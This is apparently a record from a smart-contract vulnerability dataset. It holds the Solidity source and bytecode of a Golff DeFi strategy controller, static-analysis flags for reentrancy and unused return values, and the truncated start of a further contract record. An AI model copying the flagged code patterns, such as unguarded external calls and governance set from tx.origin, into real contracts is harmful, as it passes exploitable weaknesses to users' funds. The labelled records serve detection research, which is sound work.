pragma solidity ^0.5.16; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals ) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } /** * Vault Strategy Interface */ interface IGOFStrategy { function want() external view returns (address); function deposit() external; function withdraw(address) external; function withdraw(uint) external; function withdrawAll() external returns (uint); function balanceOf() external view returns (uint); } /** * */ interface Converter { function convert(address) external returns (uint); } /** * */ interface OneSplitAudit { function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable returns(uint256 returnAmount); function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) external view returns( uint256 returnAmount, uint256[] memory distribution ); } /** * @dev * The controller of Strategy * Distribute different strategies according to different tokens */ contract GOFStrategyControllerV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; address public onesplit; address public rewards; address public factory; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; uint public split = 500; uint public constant max = 10000; constructor(address _rewards) public { governance = tx.origin; strategist = tx.origin; onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); rewards = _rewards; } function setFactory(address _factory) public { require(msg.sender == governance, "Golff:!governance"); factory = _factory; } function setSplit(uint _split) public { require(msg.sender == governance, "Golff:!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "Golff:!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "Golff:!governance"); governance = _governance; } function setRewards(address _rewards) public { require(msg.sender == governance, "Golff:!governance"); rewards = _rewards; } function setVault(address _token, address _vault) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist"); require(vaults[_token] == address(0), "Golff:vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == governance, "Golff:!governance"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "Golff:!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter(address _input, address _output, address _converter) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist"); converters[_input][_output] = _converter; } function setStrategy(address _token, address _strategy) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist"); require(approvedStrategies[_token][_strategy] == true, "Golff:!approved"); address _current = strategies[_token]; //之前存在策略,那就先把所有的资金提出来 if (_current != address(0)) { IGOFStrategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function setStrategyEmergency(address _token, address _strategy, uint256 amount) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist"); require(approvedStrategies[_token][_strategy] == true, "Golff:!approved"); address _current = strategies[_token]; //之前存在策略,那就先把所有的资金提出来 if (_current != address(0)) { IGOFStrategy(_current).withdraw(amount); } strategies[_token] = _strategy; } /** * 获取收益 * @param _token staking token * @param _amount staking amount */ function earn(address _token, uint _amount) public { address _strategy = strategies[_token]; //获取策略的合约地址 address _want = IGOFStrategy(_strategy).want();//策略需要的token地址 if (_want != _token) {//如果策略需要的和输入的不一样,需要先转换 address converter = converters[_token][_want];//转换器合约地址. IERC20(_token).safeTransfer(converter, _amount);//给转换器打钱 _amount = Converter(converter).convert(_strategy);//执行转换... IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } IGOFStrategy(_strategy).deposit();//存钱 } /** * 获取token的余额 * @param _token staking token */ function balanceOf(address _token) external view returns (uint) { return IGOFStrategy(strategies[_token]).balanceOf(); } /** * 提现全部 * @param _token staking token */ function withdrawAll(address _token) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!governance"); IGOFStrategy(strategies[_token]).withdrawAll(); } /** * */ function inCaseTokensGetStuck(address _token, uint _amount) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!governance"); IERC20(_token).safeTransfer(governance, _amount); } /** * */ function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) { uint _balance = IERC20(_token).balanceOf(_strategy);//获取策略器 某个代币的余额 address _want = IGOFStrategy(_strategy).want();//策略器需要的代币. (expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn(address _strategy, address _token, uint parts) public { require(msg.sender == strategist || msg.sender == governance, "Golff:!governance"); // This contract should never have value in it, but just incase since this is a public call uint _before = IERC20(_token).balanceOf(address(this)); IGOFStrategy(_strategy).withdraw(_token); uint _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint _amount = _after.sub(_before); address _want = IGOFStrategy(_strategy).want(); uint[] memory _distribution; uint _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint _reward = _amount.mul(split).div(max); earn(_want, _amount.sub(_reward)); IERC20(_want).safeTransfer(rewards, _reward); } } } /** * 提现 * @param _token token to ben withdraw * @param _amount amount */ function withdraw(address _token, uint _amount) public { require(msg.sender == vaults[_token], "Golff:!vault"); IGOFStrategy(strategies[_token]).withdraw(_amount); } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c8063a1578b6a11610104578063ccd06318116100a2578063f3fef3a311610071578063f3fef3a3146105ad578063f712adbb146105d9578063f7654176146105e1578063fa09e630146105e9576101cf565b8063ccd06318146104eb578063e4f2494d14610523578063ec38a86214610551578063f152987c14610577576101cf565b8063b02bf4b9116100de578063b02bf4b91461045d578063c45a015514610489578063c494448e14610491578063c6d758cb146104bf576101cf565b8063a1578b6a146103cf578063a622ee7c14610411578063ab033ea914610437576101cf565b80636ac5db1911610171578063714ccf7b1161014b578063714ccf7b1461034557806372cb5d97146103735780638da1df4d146103a15780639ec5a894146103c7576101cf565b80636ac5db19146102cf5780636dcd64e5146102e957806370a082311461031f576101cf565b8063590bbb60116101ad578063590bbb60146102565780635aa6e675146102845780635bb478081461028c578063674e694f146102b2576101cf565b806304209f48146101d45780631fe4a6861461020c57806339ebf82314610230575b600080fd5b61020a600480360360608110156101ea57600080fd5b506001600160a01b0381358116916020810135909116906040013561060f565b005b610214610c60565b604080516001600160a01b039092168252519081900360200190f35b6102146004803603602081101561024657600080fd5b50356001600160a01b0316610c6f565b61020a6004803603604081101561026c57600080fd5b506001600160a01b0381358116916020013516610c8a565b610214610d0e565b61020a600480360360208110156102a257600080fd5b50356001600160a01b0316610d1d565b61020a600480360360208110156102c857600080fd5b5035610d92565b6102d7610dea565b60408051918252519081900360200190f35b6102d7600480360360608110156102ff57600080fd5b506001600160a01b03813581169160208101359091169060400135610df0565b6102d76004803603602081101561033557600080fd5b50356001600160a01b0316611030565b61020a6004803603604081101561035b57600080fd5b506001600160a01b03813581169160200135166110b4565b61020a6004803603604081101561038957600080fd5b506001600160a01b03813581169160200135166111a5565b61020a600480360360208110156103b757600080fd5b50356001600160a01b0316611336565b6102146113ab565b6103fd600480360360408110156103e557600080fd5b506001600160a01b03813581169160200135166113ba565b604080519115158252519081900360200190f35b6102146004803603602081101561042757600080fd5b50356001600160a01b03166113da565b61020a6004803603602081101561044d57600080fd5b50356001600160a01b03166113f5565b61020a6004803603604081101561047357600080fd5b506001600160a01b03813516906020013561146a565b610214611651565b61020a600480360360408110156104a757600080fd5b506001600160a01b0381358116916020013516611660565b61020a600480360360408110156104d557600080fd5b506001600160a01b0381351690602001356116e7565b61020a6004803603606081101561050157600080fd5b506001600160a01b038135811691602081013582169160409091013516611773565b6102146004803603604081101561053957600080fd5b506001600160a01b0381358116916020013516611818565b61020a6004803603602081101561056757600080fd5b50356001600160a01b031661183e565b61020a6004803603606081101561058d57600080fd5b506001600160a01b038135811691602081013590911690604001356118b3565b61020a600480360360408110156105c357600080fd5b506001600160a01b038135169060200135611a3c565b610214611b0c565b6102d7611b1b565b61020a600480360360208110156105ff57600080fd5b50356001600160a01b0316611b21565b6001546001600160a01b031633148061063257506000546001600160a01b031633145b610677576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b1580156106c157600080fd5b505afa1580156106d5573d6000803e3d6000fd5b505050506040513d60208110156106eb57600080fd5b5051604080516351cff8d960e01b81526001600160a01b0386811660048301529151929350908616916351cff8d99160248082019260009290919082900301818387803b15801561073b57600080fd5b505af115801561074f573d6000803e3d6000fd5b5050604080516370a0823160e01b81523060048201529051600093506001600160a01b03871692506370a0823191602480820192602092909190829003018186803b15801561079d57600080fd5b505afa1580156107b1573d6000803e3d6000fd5b505050506040513d60208110156107c757600080fd5b5051905081811115610c595760006107e5828463ffffffff611c0916565b90506000866001600160a01b0316631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d602081101561084c57600080fd5b5051604080516370a0823160e01b815230600482015290519192506060916000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561089e57600080fd5b505afa1580156108b2573d6000803e3d6000fd5b505050506040513d60208110156108c857600080fd5b50516002549096506108ee906001600160a01b038a81169116600063ffffffff611c5416565b60025461090e906001600160a01b038a811691168663ffffffff611c5416565b6002546040805163085e2c5b60e01b81526001600160a01b038b81166004830152868116602483015260448201889052606482018b9052600060848301819052925193169263085e2c5b9260a480840193919291829003018186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156109b357600080fd5b8151602083018051604051929492938301929190846401000000008211156109da57600080fd5b9083019060208201858111156109ef57600080fd5b8251866020820283011164010000000082111715610a0c57600080fd5b82525081516020918201928201910280838360005b83811015610a39578181015183820152602001610a21565b505050509050016040525050508093508192505050600260009054906101000a90046001600160a01b03166001600160a01b031663e2a7515e898587858760006040518763ffffffff1660e01b815260040180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b0316815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b83811015610b0a578181015183820152602001610af2565b50505050905001975050505050505050602060405180830381600087803b158015610b3457600080fd5b505af1158015610b48573d6000803e3d6000fd5b505050506040513d6020811015610b5e57600080fd5b5050604080516370a0823160e01b815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b158015610ba657600080fd5b505afa158015610bba573d6000803e3d6000fd5b505050506040513d6020811015610bd057600080fd5b5051945085851115610c5457610bec858763ffffffff611c0916565b93506000610c17612710610c0b60095488611d6790919063ffffffff16565b9063ffffffff611dc016565b9050610c3284610c2d878463ffffffff611c0916565b61146a565b600354610c52906001600160a01b0386811691168363ffffffff611e0216565b505b505050505b5050505050565b6001546001600160a01b031681565b6006602052600090815260409020546001600160a01b031681565b6000546001600160a01b03163314610cdd576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b6001600160a01b0391821660009081526008602090815260408083209390941682529190915220805460ff19169055565b6000546001600160a01b031681565b6000546001600160a01b03163314610d70576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610de5576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600955565b61271081565b600080836001600160a01b03166370a08231866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610e4957600080fd5b505afa158015610e5d573d6000803e3d6000fd5b505050506040513d6020811015610e7357600080fd5b505160408051631f1fcd5160e01b815290519192506000916001600160a01b03881691631f1fcd51916004808301926020929190829003018186803b158015610ebb57600080fd5b505afa158015610ecf573d6000803e3d6000fd5b505050506040513d6020811015610ee557600080fd5b50516002546040805163085e2c5b60e01b81526001600160a01b0389811660048301528085166024830152604482018790526064820189905260006084830181905292519495509092169263085e2c5b9260a4808201939291829003018186803b158015610f5257600080fd5b505afa158015610f66573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015610f8f57600080fd5b815160208301805160405192949293830192919084640100000000821115610fb657600080fd5b908301906020820185811115610fcb57600080fd5b8251866020820283011164010000000082111715610fe857600080fd5b82525081516020918201928201910280838360005b83811015611015578181015183820152602001610ffd565b50505050905001604052505050508093505050509392505050565b6001600160a01b03808216600090815260066020908152604080832054815163722713f760e01b815291519394169263722713f792600480840193919291829003018186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d60208110156110ac57600080fd5b505192915050565b6001546001600160a01b03163314806110d757506000546001600160a01b031633145b61111c576040805162461bcd60e51b815260206004820152601160248201527011dbdb19998e885cdd1c985d1959da5cdd607a1b604482015290519081900360640190fd5b6001600160a01b038281166000908152600560205260409020541615611177576040805162461bcd60e51b815260206004820152600b60248201526a11dbdb19998e9d985d5b1d60aa1b604482015290519081900360640190fd5b6001600160a01b03918216600090815260056020526040902080546001600160a01b03191691909216179055565b6001546001600160a01b03163314806111c857506000546001600160a01b031633145b61120d576040805162461bcd60e51b815260206004820152601160248201527011dbdb19998e885cdd1c985d1959da5cdd607a1b604482015290519081900360640190fd5b6001600160a01b0380831660009081526008602090815260408083209385168352929052205460ff16151560011461127e576040805162461bcd60e51b815260206004820152600f60248201526e11dbdb19998e88585c1c1c9bdd9959608a1b604482015290519081900360640190fd5b6001600160a01b0380831660009081526006602052604090205416801561130757806001600160a01b031663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156112da57600080fd5b505af11580156112ee573d6000803e3d6000fd5b505050506040513d602081101561130457600080fd5b50505b506001600160a01b03918216600090815260066020526040902080546001600160a01b03191691909216179055565b6000546001600160a01b03163314611389576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b600860209081526000928352604080842090915290825290205460ff1681565b6005602052600090815260409020546001600160a01b031681565b6000546001600160a01b03163314611448576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038083166000908152600660209081526040808320548151631f1fcd5160e01b815291519416938492631f1fcd519260048082019391829003018186803b1580156114bb57600080fd5b505afa1580156114cf573d6000803e3d6000fd5b505050506040513d60208110156114e557600080fd5b505190506001600160a01b03808216908516146115de576001600160a01b03808516600081815260076020908152604080832086861684529091529020549091169061153890828663ffffffff611e0216565b806001600160a01b031663def2489b846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b15801561159057600080fd5b505af11580156115a4573d6000803e3d6000fd5b505050506040513d60208110156115ba57600080fd5b505193506115d86001600160a01b038316848663ffffffff611e0216565b506115f8565b6115f86001600160a01b038516838563ffffffff611e0216565b816001600160a01b031663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561163357600080fd5b505af1158015611647573d6000803e3d6000fd5b5050505050505050565b6004546001600160a01b031681565b6000546001600160a01b031633146116b3576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b6001600160a01b0391821660009081526008602090815260408083209390941682529190915220805460ff19166001179055565b6001546001600160a01b031633148061170a57506000546001600160a01b031633145b61174f576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b60005461176f906001600160a01b0384811691168363ffffffff611e0216565b5050565b6001546001600160a01b031633148061179657506000546001600160a01b031633145b6117db576040805162461bcd60e51b815260206004820152601160248201527011dbdb19998e885cdd1c985d1959da5cdd607a1b604482015290519081900360640190fd5b6001600160a01b03928316600090815260076020908152604080832094861683529390529190912080546001600160a01b03191691909216179055565b60076020908152600092835260408084209091529082529020546001600160a01b031681565b6000546001600160a01b03163314611891576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314806118d657506000546001600160a01b031633145b61191b576040805162461bcd60e51b815260206004820152601160248201527011dbdb19998e885cdd1c985d1959da5cdd607a1b604482015290519081900360640190fd5b6001600160a01b0380841660009081526008602090815260408083209386168352929052205460ff16151560011461198c576040805162461bcd60e51b815260206004820152600f60248201526e11dbdb19998e88585c1c1c9bdd9959608a1b604482015290519081900360640190fd5b6001600160a01b03808416600090815260066020526040902054168015611a0c57806001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b505050505b50506001600160a01b03918216600090815260066020526040902080546001600160a01b03191691909216179055565b6001600160a01b03828116600090815260056020526040902054163314611a99576040805162461bcd60e51b815260206004820152600c60248201526b11dbdb19998e885d985d5b1d60a21b604482015290519081900360640190fd5b6001600160a01b03808316600090815260066020526040808220548151632e1a7d4d60e01b8152600481018690529151931692632e1a7d4d9260248084019391929182900301818387803b158015611af057600080fd5b505af1158015611b04573d6000803e3d6000fd5b505050505050565b6002546001600160a01b031681565b60095481565b6001546001600160a01b0316331480611b4457506000546001600160a01b031633145b611b89576040805162461bcd60e51b8152602060048201526011602482015270476f6c66663a21676f7665726e616e636560781b604482015290519081900360640190fd5b6001600160a01b03808216600090815260066020908152604080832054815163429c145b60e11b8152915194169363853828b693600480840194938390030190829087803b158015611bda57600080fd5b505af1158015611bee573d6000803e3d6000fd5b505050506040513d6020811015611c0457600080fd5b505050565b6000611c4b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e54565b90505b92915050565b801580611cda575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015611cac57600080fd5b505afa158015611cc0573d6000803e3d6000fd5b505050506040513d6020811015611cd657600080fd5b5051155b611d155760405162461bcd60e51b81526004018080602001828103825260368152602001806121966036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611c04908490611eeb565b600082611d7657506000611c4e565b82820282848281611d8357fe5b0414611c4b5760405162461bcd60e51b815260040180806020018281038252602181526020018061214b6021913960400191505060405180910390fd5b6000611c4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a9565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611c04908490611eeb565b60008184841115611ee35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ea8578181015183820152602001611e90565b50505050905090810190601f168015611ed55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611efd826001600160a01b031661210e565b611f4e576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611f8c5780518252601f199092019160209182019101611f6d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611fee576040519150601f19603f3d011682016040523d82523d6000602084013e611ff3565b606091505b50915091508161204a576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156120a35780806020019051602081101561206657600080fd5b50516120a35760405162461bcd60e51b815260040180806020018281038252602a81526020018061216c602a913960400191505060405180910390fd5b50505050565b600081836120f85760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ea8578181015183820152602001611e90565b50600083858161210457fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906121425750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820a9e0483c76e51692cde3ec4da7ed4aba2af909312156dd179205bfb3c46dac1564736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,565
0x54b7b8ea4b022f88f853adbd0068a0efa7eb451c
/** *Submitted for verification at Etherscan.io on 2022-03-16 */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns 